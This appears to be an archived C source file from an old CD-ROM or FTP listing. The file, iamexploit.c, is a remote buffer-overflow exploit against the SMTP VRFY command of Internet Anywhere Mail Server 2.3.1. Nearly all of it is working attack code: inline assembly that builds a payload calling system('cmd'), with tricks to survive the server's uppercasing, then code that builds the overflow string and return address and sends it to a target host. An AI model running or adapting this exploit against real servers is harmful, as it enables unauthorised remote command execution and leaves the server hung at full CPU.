home *** CD-ROM | disk | FTP | other *** search
- // iamexploit.c - by Arne Vidstrom - http://www.bahnhof.se/~winnt/
- //
- // This exploit code starts the Command Prompt on a remote computer
- // running Internet Anywhere Mail Server version 2.3.1, build 10020.
- // However, it is very dependent on different DLL versions installed
- // on the server computer. This code exploits a vrfy buffer overflow
- // in the SMTP part of the mail server.
- //
-
- #include <stdio.h>
- #include <windows.h>
- #include <winsock.h>
- #include <string.h>
-
- #define sockaddr_in struct sockaddr_in
- #define sockaddr struct sockaddr
-
- // Server IP address
- char ipaddr[25] = "xxx.xxx.xxx.xxx";
- // Server port, the default is 25
- unsigned short port = xxxxx;
-
- // Payload machine code size and location
- DWORD stop, start, size;
- // The overflow string
- unsigned char s[251];
-
- // This function contains the payload assembly code and some extra
- // code to support dynamic loading of the payload
- BOOL createPayload(void)
- {
- DWORD point1, point2;
-
- __asm {
- // First checkpoint for code location
- MOV point1, $
- JMP AFTER
- // Exploit payload starts here ->>
- // Set up a new stack frame, but there's no need to push EBP
- // since we'll never return from here
- MOV EBP, ESP
- // Manipulate the null terminated string "cmd" into ESI
- // and push it onto the stack - we can't just move it into
- // memory with three MOV BYTE PTR's because the machine code
- // they generate will be destroyed when the mail server
- // convert the string to uppercase
- MOV ESI, 0FF646d63h
- AND ESI, 0F0FFFFFFh
- AND ESI, 0FFFFFFFh
- PUSH ESI
- // Manipulate the system() function's entry address into ESI
- // the same way as we did with the "cmd" string and push it
- // onto the stack too - 7801C1A0h only works for version
- // 5.00.7128 of the DLL msvcrt.dll
- MOV ESI, 7801C1A0h
- MOV EBX, 20FFFFFFh
- AND EBX, 0FF0F0F0Fh
- AND EBX, 0FFF0F0F0h
- OR ESI, EBX
- AND ESI, 0FFFFDFFFh
- PUSH ESI
- // Load the address to the "cmd" string into EAX and push it
- // onto the stack for use by system() below
- LEA EAX, [EBP-04h]
- PUSH EAX
- // Call system() which starts the Command Prompt
- CALL DWORD PTR [EBP-8h]
- // Infinite loop - the server won't crash when the Command
- // Prompt is closed, and it will also continue responding
- // to more clients, though CPU usage will be 100%
- LABEL1:
- JMP LABEL1
- // <<- Exploit payload ends here
- // Second checkpoint for code location
- AFTER:
- MOV point2, $
- }
- // Calculate payload size and location
- size = point2 - point1 - 12;
- start = point1 + 12;
- stop = point2;
- // Payload size vs. server buffer size overflow check
- if (size > 75)
- return FALSE;
- else
- return TRUE;
- }
-
- // Create the vrfy overflow string
- void createOverflow(void)
- {
- unsigned char payload[236];
- unsigned char fillout[236];
- unsigned char ret[5];
- unsigned int i;
- unsigned long temp;
- unsigned char *p;
-
- // Create a string containing the payload
- temp = start;
- for (i=0; i<size; i++) {
- p = (unsigned char*) temp;
- payload[i] = *p;
- temp++;
- }
- payload[i] = '\0';
- // Fill out with some 'a' until we hit the function return
- // address on the stack
- i = strlen(payload);
- while (i<235) {
- fillout[i-strlen(payload)] = 'a';
- i++;
- }
- fillout[i-strlen(payload)] = '\0';
- // Overwrite the return address to the location of the payload
- // inside the buffer
- ret[0] = 0x45;
- ret[1] = 0xF4;
- ret[2] = 0xF1;
- ret[3] = 0x01;
- ret[4] = 0x00;
- // Put together the whole vrfy overflow string
- strcpy(s, "vrfy xxxxx");
- strcat(s, payload);
- strcat(s, fillout);
- strcat(s, ret);
- strcat(s, "\r\n");
- printf("Created overflow string.\n");
- }
-
- // Connect to the server, say hi and then send the overflow string
- void sendOverflow(void)
- {
- SOCKET socket1;
- WSADATA winSockData;
- sockaddr_in peer;
- int flags;
- int result;
- char buffer[1024];
-
- // Allocate a socket, connect and stuff...
- WSAStartup(0x0101, &winSockData);
- socket1 = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- peer.sin_family = AF_INET;
- peer.sin_port = htons(port);
- peer.sin_addr.s_addr = inet_addr(ipaddr);
- result = connect(socket1, (sockaddr *) &peer, sizeof(peer));
- if (result != 0) {
- printf("Couldn't connect to the server!\n");
- closesocket(socket1);
- WSACleanup();
- }
- else {
- // Wait for the server to give us the welcome message, this
- // is a bit simplified because we can't expect the whole
- // message in one recv, but it will do in this case
- flags = 0;
- result = recv(socket1, buffer, 1024, flags);
- // Say hi to the server
- flags = 0;
- result = send(socket1, "helo\r\n", strlen("helo\r\n"), flags);
- // Wait for the server to say ok, the same as above goes here
- flags = 0;
- result = recv(socket1, buffer, 1024, flags);
- // Send the overflow string to the server
- flags = 0;
- result = send(socket1, s, strlen(s), flags);
- if (result != SOCKET_ERROR)
- printf("Overflow sent to the server.\n");
- // Wait a couple of seconds
- Sleep(2000);
- // Clean up
- closesocket(socket1);
- WSACleanup();
- }
- }
-
- // Guess what this is :o)
- int main(void)
- {
- DWORD temp;
- unsigned char *p;
-
- printf("\niamexploit.c - by Arne Vidstrom -
- http://www.bahnhof.se/~winnt/\n\n");
- // Generate payload machine code and check size
- if (!createPayload()) {
- printf("ERROR: The payload machine code generated will not fit in the
- buffer!\n");
- return 1;
- }
- else
- printf("%ld bytes of payload machine code generated.\n", size);
- // Check for null characters in the payload
- for (temp=start; temp<stop; temp++) {
- p = (unsigned char*) temp;
- if (*p == 0) {
- printf("ERROR: The payload machine code generated contains the null
- character!\n");
- return 1;
- }
- }
- printf("Payload ok.\n");
- // Create the overflow string
- createOverflow();
- // Send the overflow string to the server
- sendOverflow();
- printf("Over and out!\n\n");
- return 0;
- }